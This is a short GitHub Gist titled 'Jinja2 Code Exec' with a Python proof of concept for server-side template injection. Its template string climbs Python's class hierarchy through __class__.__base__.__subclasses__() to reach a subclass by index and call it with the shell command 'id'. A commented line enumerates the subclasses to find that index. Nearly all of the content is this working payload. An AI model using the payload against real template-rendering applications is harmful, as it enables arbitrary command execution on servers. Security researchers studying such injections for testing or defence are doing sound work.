Created
December 23, 2019 09:51
-
-
Save FrankSpierings/374ba89853e0c52261b2681897b1e8fb to your computer and use it in GitHub Desktop.
Jinja2 Code Exec
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import jinja2 | |
# t = 'Variable {{ arg }}\n{% set a = arg.__class__.__base__.__subclasses__() %}{% for i in a %}{{ i }}\n{% endfor %}' | |
t = 'Variable {{ arg }}\n{{ arg.__class__.__base__.__subclasses__()[-36]("id") }}' | |
template = jinja2.Template(t) | |
r = template.render(arg="testing") | |
print(r) | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment